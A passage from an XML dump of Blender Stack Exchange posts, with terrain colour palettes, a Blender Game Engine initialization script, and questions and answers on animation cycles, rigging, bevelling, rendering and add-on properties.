dunes&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.80, 0.77, 0.51, 0.00)&#xA;  colorDesert    (0.88, 0.67, 0.48, 0.00)&#xA;  colorLowland   (0.80, 0.69, 0.49, 0.00)&#xA;  colorUpland    (0.99, 1.00, 0.75, 0.00)&#xA;  colorRock      (0.56, 0.50, 0.30, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Arid badlands&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.69, 0.46, 0.35, 0.00)&#xA;  colorDesert    (0.43, 0.24, 0.18, 0.00)&#xA;  colorLowland   (0.49, 0.38, 0.39, 0.00)&#xA;  colorUpland    (0.90, 0.51, 0.33, 0.00)&#xA;  colorRock      (0.37, 0.25, 0.27, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Red and yellow surface&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.51, 0.35, 0.27, 0.00)&#xA;  colorDesert    (0.74, 0.58, 0.36, 0.00)&#xA;  colorLowland   (0.65, 0.52, 0.27, 0.00)&#xA;  colorUpland    (0.67, 0.47, 0.32, 0.00)&#xA;  colorRock      (0.50, 0.34, 0.24, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Light turquesa desert&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.41, 0.67, 0.63, 0.00)&#xA;  colorDesert    (0.26, 0.31, 0.23, 0.00)&#xA;  colorLowland   (0.49, 0.63, 0.49, 0.00)&#xA;  colorUpland    (0.38, 0.59, 0.50, 0.00)&#xA;  colorRock      (0.36, 0.39, 0.33, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Contrast colors&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.51, 0.51, 0.49, 0.00)&#xA;  colorDesert    (0.19, 0.19, 0.22, 0.00)&#xA;  colorLowland   (0.55, 0.49, 0.46, 0.00)&#xA;  colorUpland    (0.49, 0.49, 0.47, 0.00)&#xA;  colorRock      (0.42, 0.41, 0.40, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Butano&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Palette {&#xA;  Class          &quot;Desert&quot;&#xA;  StyleRange     (0.00, 0.00)&#xA;  colorSea       (0.69, 0.54, 0.42, 0.00)&#xA;  colorShelf     (0.64, 0.50, 0.37, 0.00)&#xA;  colorBeach     (0.92, 0.56, 0.26, 0.00)&#xA;  colorDesert    (0.85, 0.50, 0.24, 0.00)&#xA;  colorLowland   (0.71, 0.47, 0.29, 0.00)&#xA;  colorUpland    (0.55, 0.40, 0.33, 0.00)&#xA;  colorRock      (0.51, 0.43, 0.40, 0.00)&#xA;  colorSnow      (1.00, 1.00, 1.00, 1.00)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="2811" LastEditDate="2019-09-22T20:46:23.543" LastActivityDate="2019-09-22T20:46:23.543" CommentCount="1" CommunityOwnedDate="2015-05-24T23:43:50.580" ContentLicense="CC BY-SA 4.0" />
  <row Id="31426" PostTypeId="2" ParentId="31413" CreationDate="2015-05-24T23:49:58.663" Score="1" Body="&lt;pre&gt;&lt;code&gt;import bge&#xA;import bpy&#xA;import sys&#xA;&#xA;def initialization(name):&#xA;    &quot;&quot;&quot;&#xA;    The function &quot;initialization&quot; is responsible for:&#xA;    1.Loading all scenes.&#xA;    2.Setting all scene objects, object sensors and object actuators to variables with corresponding(where the dot &quot;.&quot; is replaced with &quot;_&quot;).&#xA;    These variables are created into the function but are for global use. &#xA;    3.The variable &quot;cont&quot; is created with its content being the controller.&#xA;    &quot;&quot;&quot; &#xA;    sys.modules[name].cont = bge.logic.getCurrentController()&#xA;    for s in bpy.data.scenes.keys():&#xA;        bge.logic.addScene(s)&#xA;    for scene in bge.logic.getSceneList():&#xA;        for obj in scene.objects:&#xA;            exec(&quot;sys.modules[\&quot;%s\&quot;].%s=scene.objects[\&quot;%s\&quot;]&quot;%(name,str(obj).replace(&quot;.&quot;,&quot;_&quot;),obj))&#xA;            for sensor in obj.sensors:&#xA;                exec(&quot;sys.modules[\&quot;%s\&quot;].%s_%s= obj.sensors[\&quot;%s\&quot;]&quot;%(name,str(obj).replace(&quot;.&quot;,&quot;_&quot;),str(sensor).replace(&quot;.&quot;,&quot;_&quot;),sensor))&#xA;    for act in sys.modules[name].cont.actuators:&#xA;        exec(&quot;sys.modules[\&quot;%s\&quot;].%s=sys.modules[\&quot;%s\&quot;].cont.actuators[\&quot;%s\&quot;]&quot;%(name,str(act).replace(&quot;.&quot;,&quot;_&quot;),name,act))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So,this is a module(with the name &quot;Initialization.py&quot; that I have saved in the same folder with the other modules I use and the .blend file. At the start of each module I want to use I just write this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from initialization import initialization&#xA;initialization(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now every sensor,object,etc. that I mentioned above can be retrieved and used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Ignore these lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for s in bpy.data.scenes.keys():&#xA;    bge.logic.addScene(s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since they won't work in standalone game.On the other hand if you have more than 1 scenes, use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bge.logic.html?highlight=addscene#bge.logic.addScene&quot; rel=&quot;nofollow&quot;&gt;bge.logic.addScene(name, overlay=1)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2015-05-25T21:05:52.917" LastActivityDate="2015-05-25T21:05:52.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31427" PostTypeId="1" CreationDate="2015-05-24T23:53:25.680" Score="1" ViewCount="63" Body="&lt;p&gt;I have made a cog wheel and am trying to animate it into a full 360 degree spin. Since I am only spinning the wheel across the Y axis I didn't feel that any armature or bones were necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having issues, though, with getting the animation cycle to be fluid. The keyframes and rotations are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: 0 degrees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/4: 90 degrees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/2: 180 degrees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3/4: 270 degrees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;last: 0 degrees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the unwanted result of ending on the same rotation that the animation starts, which as you can guess causes a 1 frame glitch in the animation where the frames are the same. I don't know exactly what the rotation should be 1 frame from being back to the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a very common problem, and I would presume occurs in walk cycles or any other animation sequence. What is the fix for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you ignore the last frame in the animation cycle, but use it to set the values (IE: define the last frame to be 0 degrees, causing the animation to animate to that end, but never reach it, as the last frame would become the first frame of the next iteration)?&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2015-05-24T23:53:25.680" Title="How to make a fluid animation cycle?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-05-25T00:23:58.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="31428" PostTypeId="2" ParentId="31416" CreationDate="2015-05-25T00:52:46.860" Score="4" Body="&lt;p&gt;On top of other forms of interpolation, blender does use Bezier curves in the Graph Editor &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zmrYA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interpolation modes for segments of a curve can be determined by selecting a point in the graph an pressing the &lt;kbd&gt;T&lt;/Kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dTnyE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or on the menu Key-&gt;Interpolation Mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4hY3p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover the default interpolation mode can be determined in the preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;)&lt;img src=&quot;https://i.stack.imgur.com/kv2hW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdL98.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I9kkV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ll7V8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ylssy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-25T01:11:35.160" LastActivityDate="2015-05-25T01:11:35.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31429" PostTypeId="1" CreationDate="2015-05-25T02:19:10.653" Score="0" ViewCount="3820" Body="&lt;p&gt;After I generate the bones using Rigify pitchipoy none of the rotation commands work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ED78t.png&quot; alt=&quot;Rig before generating&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z40J6.png&quot; alt=&quot;controls like the highlighted one wont work.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixl8W.png&quot; alt=&quot;Ik controls do seem to be working though I can not rotate the wrist to match the position.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rig before generating&#xA;Controls like the highlighted one wont rotate&#xA;The IK controls of the hands and feet do seem to work, but I cant move the wrist to match the rest of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to show you everything you need to see in the pictures I'm not sure what else you might need to see. Please let me know. Thank you for your time :D!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT!!!&#xA;I found a new bit of weird. I turned on &quot;Auto IK&quot; which fixed some of the issues but the arms are still funky &lt;img src=&quot;https://i.stack.imgur.com/GXnci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14584" LastEditorUserId="14584" LastEditDate="2015-05-25T04:10:33.730" LastActivityDate="2021-05-08T22:37:48.670" Title="Rigging, can not rotate the bones. Rigify Pitchipoy" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31430" PostTypeId="1" AcceptedAnswerId="36295" CreationDate="2015-05-25T02:34:22.933" Score="1" ViewCount="1425" Body="&lt;p&gt;I made simple humanoid low-poly character/model for testing/prototyping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tp4CJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Character has extra &quot;weapon&quot; bones attached to palms. The idea is to parent weapon objects to those bones, which would allow me to rotate blades/guns/whatever independently from hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Moboc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once I create &quot;rigified&quot; rig, rotating those bones (which show up at FK layer, by the way) cause unwanted deformation of fingers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i0qHO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked mesh in weight paint mode, this is not problem with weight, actual skeleton is being deformed. (It is visible in the last screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen, how do I fix this, and is there alternative/better way to make &quot;weapon&quot; bone? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do suspect that &quot;weapon bone&quot; somehow interferes with inverse kinematics, but I'm not sure how to proceed from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model is animated with inverse kinematics, with all FK/IK sliders set to IK on arms/legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created weapon bones by selecting &quot;hand&quot;, extruding it twice, then deleting middle connecting bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from having extra bones for weapons, it is pretty much stock metarig with slightly adjusted bone positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using 64bit blender 2.74 on windows 7.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/z7ur4bsizy3kz0i/girl_anim_upload.7z?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is file&lt;/a&gt; with the rig (without geometry/animations). It is saved with weapon bone selected.&lt;/p&gt;&#xA;" OwnerUserId="7889" LastEditorUserId="7889" LastEditDate="2015-05-26T06:37:05.663" LastActivityDate="2015-08-24T08:54:03.563" Title="Rigify/Armature - additional bones cause unwanted deformation" Tags="&lt;armature&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31431" PostTypeId="2" ParentId="31429" CreationDate="2015-05-25T03:27:56.273" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EIcl7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that for some reason or another, when you generated controls, a limit rotation constraint was placed on the bones.  If this is the case, when you go to pose mode, select a bone that won't rotate, and look at the bone constraints panel, you might see something like this.&lt;/p&gt;&#xA;" OwnerUserId="14501" LastActivityDate="2015-05-25T03:27:56.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31432" PostTypeId="2" ParentId="31420" CreationDate="2015-05-25T04:44:32.273" Score="2" Body="&lt;p&gt;The default blend type for a strip is Replace. This will replace the underlying strip with the new one, filling with black any unused area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the Blend mode to Alpha over or Over drop to keep the underlying video visible. This can be set in the Edit Strip panel in the properties sidebar (press &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vBIkd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-25T04:44:32.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31433" PostTypeId="2" ParentId="31225" CreationDate="2015-05-25T05:54:45.533" Score="2" Body="&lt;p&gt;It seems that Blender Freestyle does not support brushes currently, so this exactly effect cannot be achieved. But I was able to achieve a similar effect by adding a Calligraphy modifier in the Thickness section for the thick and thin effect and a Perlin Noise 2d modifier under Geometry to make the shakiness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uBXm1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14500" LastActivityDate="2015-05-25T05:54:45.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31434" PostTypeId="2" ParentId="31430" CreationDate="2015-05-25T07:20:13.500" Score="0" Body="&lt;p&gt;Probably your bone has copies of some properties of the hand bone, from which you extruded, that cause the problem.&#xA;Try this: In edit mode delete the Weapon bone; shift A add a new bone, which will be placed a the 3D cursor position. Place the new bone where you need, then select a Parent bone (maybe the hand bone) Ctrl P - keep offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if, this way, everything is OK. If not, you should upload the .blend file, to be analized!&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-25T07:20:13.500" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31435" PostTypeId="1" AcceptedAnswerId="31437" CreationDate="2015-05-25T07:25:36.597" Score="3" ViewCount="175" Body="&lt;p&gt;I have a picture I am trying to 3D print a copy of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/hZD1z/274b082572.jpg&quot; alt=&quot;Compilation Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I took a picture, then I converted it to an svg and loaded it in tinkercad. Then after some failed fiddling I saved the file as an stl and loaded it in meshmixer. From there I cleaned it up and selected each part of the image and raised the edges up to give them some depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a test print I felt it needed smoother edges, so I downloaded blender to try beveling it. After I figured out how to import and move it, I selected all of the faces on a single section (colors) and hit bevel. I'm not sure what happened but I can't get the edges to round out at all, it seems to just want to focus on a few points at intersections and move them about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I am VERY new to 3D modeling and learning as I go, so be warned that I don't know much of the terminology.&lt;/p&gt;&#xA;" OwnerUserId="14586" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.407" LastActivityDate="2015-05-26T15:21:27.680" Title="beveling 2D cutout shapes not working as expected" Tags="&lt;modeling&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31436" PostTypeId="2" ParentId="31429" CreationDate="2015-05-25T07:27:02.993" Score="1" Body="&lt;p&gt;In pose mode, select a bone you want to rotate, check your transform tab (N key), is the rotation locked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yFBM9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-25T07:27:02.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31437" PostTypeId="2" ParentId="31435" CreationDate="2015-05-25T07:39:09.117" Score="2" Body="&lt;p&gt;Practice on some geometry that isn't this scene first, to get the hang of how bevel works and how to select the right geometry quickly. Bevel doesn't magically know what you want to bevel, you probably want to select the &lt;em&gt;edges&lt;/em&gt; to get the right kind of bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ex3mB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what you'd get if you bevelled using faces, it's probably not what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EHvSA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is the bevel with edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qe8P8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-25T07:56:24.707" LastActivityDate="2015-05-25T07:56:24.707" CommentCount="4" CommunityOwnedDate="2015-05-25T10:25:49.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="31438" PostTypeId="1" AcceptedAnswerId="31453" CreationDate="2015-05-25T07:52:27.833" Score="3" ViewCount="463" Body="&lt;p&gt;I want it so that I can make rigidbodies fall then make them go in reverse back to their original places without doing any video editing. So I'll be able to see them fall back into place from different angles. Is there also a way of just animating a rigidbody reset. What I mean by that is so something falls and then X frames later they'll teleport back to where they were so I can do something different with them. Is reversing and resetting during the animation possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-05-25T16:33:30.967" Title="Reversing and resetting rigidbodies?" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31439" PostTypeId="1" CreationDate="2015-05-25T08:55:25.627" Score="2" ViewCount="668" Body="&lt;p&gt;I'm currently struggling with something that's frustratating me now for a couple of hours and still im not getting a reasonable result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tracked a footage where I would like to insert a cube emitting light; there should be no shadow or Ambient Occlusion, at all. As you can see in the image bellow, currently the cube is casting a shadow; how can I fix that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGDkv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7rBf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So actually i want to get rid off the shadow and Ambient Occlusion, which ofc isnt that much of an problem but in the mean time, i want to get the ermession of the cube (which is reflecting on the ground) to be rendered. I found out that there are render passes, which control the reflection on certain objects, but the wiki displays an &quot;reflection&quot; pass, which isnt obviously available in cycles. I tried out Ermession and enviroment passes though, without any success ._.&lt;/p&gt;&#xA;" OwnerUserId="14589" LastEditorUserId="29" LastEditDate="2015-05-31T21:29:14.707" LastActivityDate="2015-05-31T21:29:14.707" Title="How can I render the emission only?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31440" PostTypeId="2" ParentId="31334" CreationDate="2015-05-25T09:06:55.923" Score="11" Body="&lt;p&gt;Yes! You have to go to the render panel, then under the render panel and click on the audio icon (next to render and animation). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iEcxS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can choose different audio outputs and settings (on the left at the bottom of the screen under the tab mixdown). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oVOCc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then you push the button mixdown (at the top right).&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="47" LastEditDate="2015-05-25T10:38:13.590" LastActivityDate="2015-05-25T10:38:13.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31441" PostTypeId="1" CreationDate="2015-05-25T10:19:59.663" Score="1" ViewCount="2133" Body="&lt;p&gt;I am  quite new to blender and it is first time I am making a character and an animation with it in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a rabbit character that I gave some animation keyframe so it has an idle animtion, a walk animation and a jump animation.&#xA;I want to use this character later in Unity for a little game. I want to make a side view game, so the character can for example can walk to right and left. I do not know if you can flip/mirror the animaiton in Unity. &#xA;In blender I want to make an animation where it walks from right to left, and then an animation where it walks from left to right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the position of the character by rotating the whole armature on the z-axis to 180, and I hoped with the auto-keyframes turned on it would create new keyframes automaticly with the new location and rotation of the armature but as I play the animation it changed the whole animation to be 180 on the z-axis, so the whole animation was flipped. It did'nt work as I would love to. &#xA;I then tried to create a new Action and copy the keyframes and then do the 180-thing on the z-axis, but it also changed the characters position on the other Action...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know what to do from now on.&#xA;I just want the character and keyframes to be flipped, so I get an animation that both walks from right til left, and left to right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you guys will help me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to look at this question &lt;a href=&quot;https://blender.stackexchange.com/questions/28276/rotate-whole-animation-by-90-degrees&quot;&gt;Rotate whole animation by 90 degrees&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this did not help, I could rotate it by using an empty cube and parenting it to the objects, but it still rotates the whole animation.&#xA;I have an animation where it walks from right to left and i like to keep that, I just want an animation from there on that walk the opposite way from left to right by just rotating the object and armature and make keyframes of that. &lt;/p&gt;&#xA;" OwnerUserId="14591" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-05-25T19:49:59.223" Title="Rotation animation on z-axis in Blender" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-26T07:34:37.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="31442" PostTypeId="1" CreationDate="2015-05-25T11:07:24.717" Score="1" ViewCount="139" Body="&lt;p&gt;I would like to reset the string property in the toolbar every time I hit the &quot;Object&quot; in the Add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, this is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class primitive_object_add(bpy.types.Operator):&#xA;    bl_idname = &quot;mesh.primitive_object_add&quot;&#xA;    bl_label = &quot;Add an object&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    img_str = StringProperty(name=&quot;Image Name (example: name.png)&quot;, description=&quot;desc here&quot;, default=&quot;&quot;, subtype='FILE_PATH')&#xA;&#xA;    def execute(self, context):&#xA;        #code here&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(&quot;mesh.primitive_object_add&quot;, text=&quot;Object&quot;, icon='OBJECT_DATA')&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.INFO_MT_mesh_add.append(menu_func)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_mesh_add.remove(menu_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;code&gt;self.img_str = &quot;&quot;&lt;/code&gt; However if I'm not fully sure where I could put this in the code to have it run when I press &quot;Object&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PQwA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14265" LastEditorUserId="47" LastEditDate="2015-05-25T11:23:02.853" LastActivityDate="2015-05-25T11:40:55.843" Title="Reset property in toolbar for each script run" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
